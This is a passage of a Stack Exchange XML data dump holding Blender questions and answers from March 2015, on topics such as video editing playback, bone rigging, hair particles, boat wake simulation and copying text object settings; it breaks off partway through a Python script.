  <row Id="26581" PostTypeId="1" CreationDate="2015-03-04T08:34:34.270" Score="0" ViewCount="108" Body="&lt;p&gt;When you drag and drop footage in the VSE, is there a way to have audio and video linked in order not to have to select audio and video + G key everytime moving files in the VSE? Preview window struggles to play 2K and 4K footage smoothly despite frame dropping checked and a fast desktop computer. Any way to get smooth playback without proxies? Playback at the 1/4 of the resolution for example? If this isn't possible, is there a way to generate proxies in a batch way? &lt;/p&gt;&#xA;" OwnerUserId="12856" LastActivityDate="2015-03-04T10:07:21.733" Title="VSE questions (playback, proxies, etc..)" Tags="&lt;editing&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26582" PostTypeId="2" ParentId="26581" CreationDate="2015-03-04T10:07:21.733" Score="1" Body="&lt;p&gt;You can reduce the frame dropping by increasing the following values in the &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Preferences/System&quot; rel=&quot;nofollow noreferrer&quot;&gt;User Preferences&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MFyqo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To move video and audio track as one unit select both and combine them to a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Sequencer/Usage&quot; rel=&quot;nofollow noreferrer&quot;&gt;meta strip&lt;/a&gt; &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;G&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5KC1h.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-03-04T10:07:21.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26583" PostTypeId="2" ParentId="26510" CreationDate="2015-03-04T10:10:29.357" Score="2" Body="&lt;p&gt;When you click &lt;kbd&gt;r&lt;/kbd&gt; for rotation you can limit the rotation on &lt;strong&gt;world axis&lt;/strong&gt; by hitting ( &lt;kbd&gt;x&lt;/kbd&gt;&lt;kbd&gt;y&lt;/kbd&gt; or &lt;kbd&gt;z&lt;/kbd&gt;) or on &lt;strong&gt;local axis&lt;/strong&gt; ( &lt;kbd&gt;x&lt;/kbd&gt;&lt;kbd&gt;x&lt;/kbd&gt;, &lt;kbd&gt;y&lt;/kbd&gt;&lt;kbd&gt;y&lt;/kbd&gt; or &lt;kbd&gt;z&lt;/kbd&gt;&lt;kbd&gt;z&lt;/kbd&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;first place the bones in a good way   &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;rotate around the local axis&lt;br&gt;&#xA;or &lt;/li&gt;&#xA;&lt;li&gt;select the bone in pose mode &lt;/li&gt;&#xA;&lt;li&gt;in &lt;strong&gt;Bone Constraints&lt;/strong&gt; add &lt;strong&gt;Limit rotation&lt;/strong&gt; constraint&lt;/li&gt;&#xA;&lt;li&gt;setup the constraint according to your needs (in this case see the image ) &lt;/li&gt;&#xA;&lt;li&gt;now the bone will only rotate around the desired axis&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Bones setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Tkjs4.png&quot; alt=&quot;enter image description here&quot;&gt;    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bone constraint :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AN0vp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;result :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xkLMG.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-04T10:10:29.357" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26585" PostTypeId="1" AcceptedAnswerId="26592" CreationDate="2015-03-04T13:02:38.527" Score="0" ViewCount="933" Body="&lt;p&gt;I have a skeleton rig and mesh configured in blender that I have imported from 3rd party application.  The rig and mesh are already working together correctly in blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to adjust the position of some of the bones to align with animations from another 3rd party application. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently 1 or 2 bones cause the mesh to deform incorrectly due to differences in bone position between the animations and the armature for my skeletal mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question, is it possible to move the position of the bone without the attached mesh being deformed during the move and maintain the existing weight painting for the new bone position?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example in my rig the neck bone is positioned more towards the back of the neck surface, but the neck bone in the animation is more centered, so when I apply the animation the head of my mesh is artificially leaning forward due to relocation of neck bone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to move any bone in my rig the attached mesh moves with it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully the makes some form of sense :oo&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="8274" LastActivityDate="2015-03-04T15:48:55.817" Title="Moving a bone within weighted mesh?" Tags="&lt;animation&gt;&lt;armature&gt;&lt;bones&gt;&lt;weight-painting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26586" PostTypeId="1" CreationDate="2015-03-04T13:13:51.060" Score="3" ViewCount="1104" Body="&lt;p&gt;I have this object that is emitting hair particles. I must have done something to it that cause the hair particles to be emitted from the object's origin instead of being distributed evenly across it. This only happens to new particle systems, the one I made before this change on the same object is not affected. I'm wondering if anybody can tell me what I changed? I've been comparing it to an older version of the object that does not do this for a few days now and I can't see any differences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I get (after change)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qp8P6.png&quot; alt=&quot;What I get&quot;&gt;&#xA;What I want (before change)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6ACbA.jpg&quot; alt=&quot;What I want&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to clarify, if I change the location of the object origin like I did in the screenshot the hairs will always be emitted from the object origin. All new particle systems, even with default settings behave in the same way when used on this object. Particle systems that were created before the change on the same object are not affected. Particle systems on different objects do not behave in this way. To make it more confusing the 3D viewport only reflects this behavior seemingly randomly.&lt;/p&gt;&#xA;" OwnerUserId="12950" LastEditorUserId="241" LastEditDate="2015-03-04T13:19:02.250" LastActivityDate="2015-05-13T05:29:23.883" Title="What would cause hair to be emitted only from object origin?" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26588" PostTypeId="1" CreationDate="2015-03-04T13:32:53.897" Score="2" ViewCount="753" Body="&lt;p&gt;Just started getting some fun from Blender and currently stuck deeply with materials. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to create a mesh with different materials, each having its own texture, applied to different parts of the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have done is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;a couple of &lt;code&gt;UV maps&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;a couple of &lt;code&gt;textures&lt;/code&gt; (for each UV Map) &lt;/li&gt;&#xA;&lt;li&gt;a couple of materials (for each texture)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Currently I am using Belnder renderer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I am facing is that only one material is displayed in a &lt;code&gt;Material&lt;/code&gt; display mode and for only one submesh. Yet, when I switch to &lt;code&gt;Texture&lt;/code&gt; display mode - I can see all the textures, assigned correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPD:&lt;/strong&gt; here is what I mean saying &lt;em&gt;Material display mode&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AJrng.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L3fQS.png&quot; alt=&quot;Material mode&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/oGIdL.png&quot; alt=&quot;Texture mode&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to fix that? Or should I use Cycles with its nodes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5575" LastEditorUserId="5575" LastEditDate="2015-03-04T15:28:00.780" LastActivityDate="2015-04-03T16:12:44.610" Title="Multiple materials with different textures" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26589" PostTypeId="1" AcceptedAnswerId="26597" CreationDate="2015-03-04T14:14:13.680" Score="3" ViewCount="1259" Body="&lt;p&gt;I'm trying to jitter an object's location during an animation, and be able to control the &lt;em&gt;strength&lt;/em&gt; of the hitter. I tried keyframing the strength of a noise f-curve modifier, which doesn't work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Failed to resolve path to property, try manually specifying this using a Keying Set instead&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a good way to jitter the location of an object, and change the strength of the jitter throughout the animation?&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="822" LastEditDate="2015-03-04T19:12:02.027" LastActivityDate="2015-03-04T19:30:10.950" Title="Jittering location in animation" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="26590" PostTypeId="2" ParentId="26588" CreationDate="2015-03-04T14:29:01.140" Score="1" Body="&lt;p&gt;Not entirely sure what you mean. From the screenshot it looks like you have several meshes, one for each texture. What is &quot;material display mode&quot;? You can have different textures applied to the same mesh without splitting the mesh up like you have done. I think that might be what you need to do if you want them to show up all at once. Like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/M3rI6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: To explain a little better. Here The red material has no textures, the green material has one texture (cloud) and the blue material has two textures (cloud and noise) Hope that helps.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/WHf4k.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12950" LastEditorUserId="12950" LastEditDate="2015-03-04T15:11:44.523" LastActivityDate="2015-03-04T15:11:44.523" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26591" PostTypeId="1" AcceptedAnswerId="26776" CreationDate="2015-03-04T15:27:38.377" Score="3" ViewCount="1694" Body="&lt;p&gt;I made a car using the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Game_Engine/Physics/Objects/Vehicle&quot; rel=&quot;nofollow noreferrer&quot;&gt;Vehicle Controller&lt;/a&gt; (demo file at the end/bottom of the page) concept.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a &quot;rigid body&quot; chassis, that attaches four &quot;no collision&quot; wheels at run-time. It works pretty good, except for this :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I modeled a &quot;car body&quot; and parented it to the chassis, but no matter what settings (mass/radius/form factor) I try (for both the chassis and the body) I cannot seem to make the car body a &quot;rigid body&quot; (or anything else than &quot;no collision&quot;) : When I press &quot;p&quot; my car flies frantically up like a balloon...?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KwNiu.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Exactly what is the force that makes my car fly up like this ?&lt;/li&gt;&#xA;&lt;li&gt;The child's mass, radius and form factor values should generally be smaller than those of the parent's, right?&lt;/li&gt;&#xA;&lt;li&gt;Do I have to make sure the parent and the child don't intersect?&lt;/li&gt;&#xA;&lt;li&gt;Are there other variables that I should look for?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1608" LastActivityDate="2015-03-07T23:08:13.310" Title="Parenting a rigid body: Physics problem" Tags="&lt;mesh&gt;&lt;game-engine&gt;&lt;parent&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="26592" PostTypeId="2" ParentId="26585" CreationDate="2015-03-04T15:48:55.817" Score="1" Body="&lt;p&gt;Yes! you can move the bones within &lt;em&gt;Edit Mode&lt;/em&gt;. this should keep all of you weight settings as long as you've already parented the mesh to the armature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QJaKV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-03-04T15:48:55.817" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26593" PostTypeId="1" CreationDate="2015-03-04T16:29:23.087" Score="2" ViewCount="4933" Body="&lt;p&gt;I made an animation in &lt;strong&gt;&lt;em&gt;Cycles&lt;/em&gt;&lt;/strong&gt; (about 1 minute long) using &lt;strong&gt;&lt;em&gt;viewport render&lt;/em&gt;&lt;/strong&gt; option (Render--&gt;&lt;strong&gt;&lt;em&gt;OpenGL Render Animation&lt;/em&gt;&lt;/strong&gt;). There were some simple objects like hearts (with basic diffuse colour) and planes with a photo textures. It rendered in about 8 minutes. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/E7ieI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I simplifed the scene: reduced the vertex count, and enabled the simplify option. The rendertime was about 2 minutes this time.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Xnre1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is to render the animation in about 1 minute. Do you know any tricks to reduce the rendertime a bit more? Are there some settings I missed?&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-03-04T16:58:22.907" LastActivityDate="2015-05-01T16:44:21.687" Title="How to speed up the OpenGL (viewport) rendering?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;opengl&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="26594" PostTypeId="1" CreationDate="2015-03-04T18:09:46.177" Score="2" ViewCount="69" Body="&lt;p&gt;I need to fill a box up with objects. See picture. I'm totally new to Blender and haven't found any answer to this question online. Its mostly how to fill (cover with a face) or animations with rigid body, so if someone could point me in a direction it would be great! Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ez9uP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12956" LastActivityDate="2015-03-04T18:09:46.177" Title="Fill in objects in another object" Tags="&lt;mesh&gt;&lt;faces&gt;" AnswerCount="0" CommentCount="5" FavoriteCount="1" ClosedDate="2015-03-04T19:13:42.047" ContentLicense="CC BY-SA 3.0" />
  <row Id="26595" PostTypeId="1" CreationDate="2015-03-04T18:22:38.150" Score="1" ViewCount="97" Body="&lt;p&gt;New to blender game engine.. The image shows console window, blender and a simple python script to report current angles associated with a camera. I set angles for X, Y and Z to be 135, 0 and 135, just to show a sample case of weird angles being reported. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If played, console shows angles as -45, 180 and -45. Is this an expected behavior? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Chandra&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/t4suB.jpg&quot; alt=&quot;Blender Game Engine Reporting Angles Weird&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12957" LastActivityDate="2015-04-04T05:22:05.137" Title="Blender Game Engine - Reporting Correct Angles?" Tags="&lt;game-engine&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26596" PostTypeId="1" AcceptedAnswerId="26598" CreationDate="2015-03-04T19:24:39.413" Score="20" ViewCount="4971" Body="&lt;p&gt;The advanced students in my class are about to animate the dual paddle wheel steamboat 3D model that I gave them.  I'm wondering if it is possible to attach a 'V' shaped wake behind it, perhaps on a different layer, and animate it across the water that they created. I want to be able to position the camera on the stern of the ship and look aft in the animation and also to be able to see the ship from a distance with the wake behind it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated. The photo seen here is a screen capture showing the Planter Steamship on the ocean. It was rendered by one of my best students. Of course this is a preliminary phase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RaYDC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8332" LastEditorUserId="3078" LastEditDate="2015-03-04T19:30:16.853" LastActivityDate="2017-01-06T15:59:33.403" Title="How to make a wake behind a boat" Tags="&lt;animation&gt;&lt;fluid-simulation&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="26597" PostTypeId="2" ParentId="26589" CreationDate="2015-03-04T19:30:10.950" Score="3" Body="&lt;p&gt;In this test scene: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the empty has the original animation &lt;/li&gt;&#xA;&lt;li&gt;the cube copies the empty animation and adds some random value &lt;/li&gt;&#xA;&lt;li&gt;the amplitude of the random value is controlled by cube property :&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;this is the driver of the X_loc of the cube :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RRdhq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is the animation while changing the cube property :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EfFYd.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-04T19:30:10.950" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26598" PostTypeId="2" ParentId="26596" CreationDate="2015-03-04T19:54:52.487" Score="27" Body="&lt;p&gt;this effect can be achieved using the dynamic paint as in the following setup :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;select the boat and &lt;strong&gt;add dynamic_paint&lt;/strong&gt; in &lt;strong&gt;properties-&gt;physics&lt;/strong&gt; and click &lt;strong&gt;add brush&lt;/strong&gt;  ( you may want to use a simple invisible cube instead of the real boat )&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UmQx4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;select the sea and add dynamic paint  and click add canvas with the following settings :&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8v6AL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this the modifiers used for the sea :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UlkUh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;bake the simulation ,&#xA;this is the result :&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2kAsZ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-04T19:54:52.487" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26599" PostTypeId="1" CreationDate="2015-03-04T20:12:10.010" Score="13" ViewCount="13264" Body="&lt;p&gt;I can't delete rigid body cache from scene. When I delete old objects and add new ones they are acting like the old objects. I tried all options under rigid body cache panel in scene properties, Free bake, Bake All Dynamics and others but none of them is working. I wonder how can I delete old rigid body cache from scene?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/70/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=70&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11444" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2020-06-16T15:00:57.500" Title="How to delete rigid body cache?" Tags="&lt;physics&gt;&lt;rigid-body-simulation&gt;&lt;baking&gt;&lt;cache&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26600" PostTypeId="1" CreationDate="2015-03-04T20:48:33.763" Score="0" ViewCount="2627" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lrPyc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;In my UV image editor I have a few textures, that I don't use anymore.&#xA;I tried to delete these from the list there, by clicking on the minus button, the delete key. ( - ) &#xA;but nothing got deleted. &lt;br&gt;&lt;br&gt;&#xA;I saved the project and reopened , but that didn't help anything,&#xA;the files are still there, I can click a hundred times on the delete button, it won't delete. &#xA;The list is located right between to the image menu and the plus button in the UV image editor.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get these textures out of my list ? Not all of them but just one or a few. &lt;/p&gt;&#xA;" OwnerUserId="12908" LastEditorUserId="9621" LastEditDate="2015-06-25T14:06:14.143" LastActivityDate="2015-06-25T14:06:14.143" Title="How to delete textures from the UV image editor list" Tags="&lt;texturing&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-03-04T21:13:55.440" ContentLicense="CC BY-SA 3.0" />
  <row Id="26601" PostTypeId="1" CreationDate="2015-03-04T21:15:55.257" Score="0" ViewCount="546" Body="&lt;p&gt;I would like to have a large preview window that updates slowly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blender UI becomes near unresponsive with a large preview running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to somehow rate limit the speed of the gpu?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a 4k display. On a 1080p display its easy to use a small preview, but on my screen I need a larger preview window to work.&lt;/p&gt;&#xA;" OwnerUserId="7605" LastEditorUserId="7605" LastEditDate="2015-03-04T22:59:11.560" LastActivityDate="2015-03-04T22:59:11.560" Title="Is it possible to slow down the preview rendering?" Tags="&lt;rendering&gt;&lt;gpu&gt;" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="26602" PostTypeId="1" CreationDate="2015-03-04T21:23:31.370" Score="5" ViewCount="1229" Body="&lt;p&gt;I want to change multiple text objects at once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to copy the settings to all selected text objects?&lt;/p&gt;&#xA;" OwnerUserId="7605" LastActivityDate="2016-09-08T16:36:12.557" Title="Is it possible to copy text settings?" Tags="&lt;text-object&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26604" PostTypeId="1" AcceptedAnswerId="26605" CreationDate="2015-03-04T22:10:21.633" Score="2" ViewCount="787" Body="&lt;p&gt;I'm wondering why viewport material shading would draw an image texture fine, but doesn't seem to be able to draw a procedural texture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9m7xD.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/mAevN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same is true for texture shading. Is it possible to get procedural textures drawn in the viewport without having to render?&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2015-03-04T22:14:36.530" Title="Viewport material view" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;materials&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26605" PostTypeId="2" ParentId="26604" CreationDate="2015-03-04T22:14:36.530" Score="2" Body="&lt;p&gt;No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is because the procedural texture is actually calculated by the render engine. The closest you can get is by &quot;caching&quot; the texture to a conventional raster image via texture baking, then using that as you would any other image texture.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-03-04T22:14:36.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26606" PostTypeId="2" ParentId="26602" CreationDate="2015-03-04T22:33:51.803" Score="2" Body="&lt;p&gt;The only way I know of and that I use, is to copy the text objects with &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;D&lt;/kbd&gt;. This will copy all settings between them, however the text itself is copied as well:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/anj99.gif&quot; alt=&quot;Linked Text GIF&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;You can link the font&lt;/strong&gt; with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;L&lt;/kbd&gt; &lt;em&gt;&gt; Fonts&lt;/em&gt; without linking the actual text:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cVPlO.gif&quot; alt=&quot;Link Fonts Command&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sadly it is currently not possible to copy other settings on text objects as they are not meshes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The standard &lt;kbd&gt;RMB&lt;/kbd&gt; &lt;em&gt;&gt; Copy to Selected&lt;/em&gt; is grayed out and can not be used.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-03-04T22:33:51.803" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26607" PostTypeId="1" AcceptedAnswerId="26620" CreationDate="2015-03-04T22:47:21.363" Score="1" ViewCount="68" Body="&lt;p&gt;I have a little game I am working on, and I ran into a small issue. When i do a weapon swap, an animation plays of the gun coming out of the bottom of the screen, but you can still shoot while you are not supposed to. What a player can do is immediately swap between a sniper and a secondary and the sniper will be able to shoot as fast as a rifle. How can I have a property set to 1 when a certain animation is going on and set to 0 when the certain animation is completed?&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-03-11T01:28:08.250" Title="&quot;In-Animation&quot; Property?" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26608" PostTypeId="1" AcceptedAnswerId="26629" CreationDate="2015-03-04T23:09:57.440" Score="4" ViewCount="180" Body="&lt;p&gt;Unfortunately, I'm a pretty sloppy organizer when it comes to blender. This leaves me with a bunch of &quot;spaghetti&quot; logic all over the place. Is there a way to hide the logic that I'm not using? I tried plain ol' &lt;kbd&gt;H&lt;/kbd&gt; and that didn't do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PHskp.png&quot; alt=&quot;Spaghetti&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-03-11T01:25:50.837" Title="How do I hide irelevant game logic?" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;&lt;shortcut&gt;" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26609" PostTypeId="2" ParentId="26602" CreationDate="2015-03-04T23:14:35.590" Score="5" Body="&lt;p&gt;This script will enable you to copy the text object properties from active to selected :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;run the script once to register &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;you will find it in: 3D View -&gt; object -&gt;&lt;strong&gt;copy text properties&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;or  hit &lt;kbd&gt;space&lt;/kbd&gt; and type  'copy text ' &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DTS20.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DTS20.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.types import Operator  # for defining new operator&#xA;from bpy.props import *   # for operator parameters&#xA;&#xA;S = scene   = bpy.context.scene&#xA;C = context = bpy.context&#xA;&#xA;def 